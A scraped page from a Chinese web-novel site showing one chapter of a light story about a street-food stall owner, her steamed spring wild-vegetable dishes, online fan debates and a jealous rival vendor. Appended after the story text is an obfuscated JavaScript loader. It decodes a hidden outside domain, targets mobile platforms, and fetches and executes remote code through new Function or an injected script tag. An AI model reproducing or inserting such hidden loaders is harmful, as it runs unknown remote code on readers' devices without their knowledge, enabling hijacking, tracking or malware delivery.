爱豆看书

阅读记录  |   用户书架
上一章
目录 | 设置
下一页

我继承的四合院超好吃 第20节(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |
电影推荐:辣妹神探(天天影院) 
热门推荐:

除开顶流榆钱饭,时染还加了一道槐花麦饭,一道蒸茼蒿。

之所以把这三样放在一起,是因为它们的做法大同小异。

金锭桥边上的无主槐花已经打了花苞,香味也逐渐散开,时染用自制的三角钩子,摘够了一大篮。

槐花开的密集,花期也就是十天半个月,跟榆钱一样,每年就只有一周时间的限定美味。

把槐花洗干净,泡在清水里小半天,沥干水分之后,下锅煮十几秒捞出,挤出水分之后再加食用油拌匀。然后就是加面粉,七分槐花合三成面,时染还另外加进去一个鸡蛋,等到水开上锅蒸。

这就是所谓槐花麦饭。【3】

蒸熟之后,槐花麦饭就可以跟榆钱饭一样,淋了酱料来拌着吃。因为槐花的香味重,时染特地调了一个新的酱汁出来。

最后一道是蒸茼蒿,时染本来想用面条菜来做,但是面条菜毕竟是纯种野菜,她跑了附近几个菜场都只能找到一丁点,所以只能自己做来解解馋。【4】

茼蒿选的是新下来的嫩茼蒿,洗干净折成三段,加食用油,玉米面和面粉三比一混合,上锅蒸熟。

这三锅蒸菜摆出来,不说味道,先是视觉上就给人一种震撼感受。

榆钱饭自不必说,槐花麦饭很多人连听都没听过,蒸茼蒿更是只有少数几个省份会吃的菜。

时染也不额外定价,还是昨天的小碗,一碗五块钱,可以单选,可以双拼,也可以一样来一勺。

酱料是三种各有各的酱料,时染又另外放了一种中庸类型的混合酱,备着客人每种都想尝尝。

因为准备的东西够多,时染就干脆让客人自己排队自己来。

排到第一个的姑娘脸上带着点小雀斑,她是网上那位美食博主的粉丝,趁着休息就会过来探一探这个最近风很大的网红小摊。

只见她稍加犹豫,就选了三种都尝尝的选项。

榆钱饭一勺,槐花麦饭一勺,上面码上蒸茼蒿,再来一碗肉酱炒面。

深深吸一口气,只觉得春天的气息在胸腔里震荡。

蒸茼蒿一入口,就让人觉得难得,茼蒿一点没有脱水,鲜嫩的味道在面粉的包裹下依旧一咬就能感觉到蔬菜本身的汁水。蒜汁的味道搭配的恰到好处,外层的面粉带来了一点柔韧的口感,好吃!

再尝一口槐花麦饭,更是让人满口生香,槐花本身除了清香还自带一股甜味,这种甜味跟榆钱的甜不一样,榆钱的甜总是靠后一些,而槐花则是带着香味,微甜的味道直接从舌头直接贯穿鼻腔。

带着雀斑的姑娘本来还对这种野菜抱有怀疑,她过来本是为了吃炒面的,看到蒸三样也就是凑个热闹,没想到居然会这么好吃!

她两眼冒光拍了一张照片发上网。

“太好吃了!感觉我自己吃下了一个春天!”

说完还不忘艾特一下那位安利她来的美食博主。

结果她正埋头苦吃的时候,只听见手机滴的一声,那位美食博主回复了她,还带上了一张人头攒动的图。

“我已经后悔了……我还在排队。”

哈哈哈哈,雀斑姑娘一点没有粉丝自觉,美滋滋享受起了眼前的美食。

****

加了品种之后的时染也松了一口气,虽然还是有晚来的人吃不上,但是相比前几天早早就卖完的盛况,她今天好歹也是过了八点才收摊。

很多冲着榆钱饭来的客人,最后反而爱上了槐花麦饭和蒸茼蒿。

因着那位粉丝量巨大的美食博主今天又发了一条博,并且把蒸三样做了个排序。

美食博主认为最好的当是槐花麦饭,其次是蒸茼蒿,最后是榆钱饭。

这一个排序出来,连她自己的粉丝都没捞到热评了。评论区成为了大型pk修罗场。

“胡扯!最好吃的还是我们榆钱饭!”

“蒸茼蒿怎么就排最后了?我们正经蔬菜居然比不过你们两个野菜吗【滑稽.jpg】”

“给博主点赞,我也觉得槐花麦饭yyds,又香又甜!”

……

几波人打的如火如荼,热评里一股子硝烟弥漫,把博主本来的粉丝吓的在转发区里报团取暖。

“妈呀,咱们肉肉这是红了吗?”

“肉肉推荐的那家小摊据说在b市,哎,我上周还在b市出差。”

“啦啦啦,已经安排好明天下午的工作,嘿嘿,准备溜号去尝鲜。”

“去吧去吧,记得回来给反馈!”

……

美食博主吃完了今天的蒸三样,心满意足的拎着自己打包的炒面。

嘿嘿,不用看手机她也知道,今天的流量绝对强!

美滋滋哼着小曲离开,春天真美好啊。

*****

赵春红可不觉得春天美好,如果说前几天时染换了地方摆摊,不接招让她的怒气无处可落。那么这几天她的怒气就是三连调的高升。

春季本来就干燥,赵春红气性又大,等到早上起床,嗓子已经沙哑的不能听了。

吴婆子想劝她,又害怕这个厉害儿媳说话难听。吴婆子也不能理解,一条街的小贩,做各种生意的都有,她就非得跟时染过不去?

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间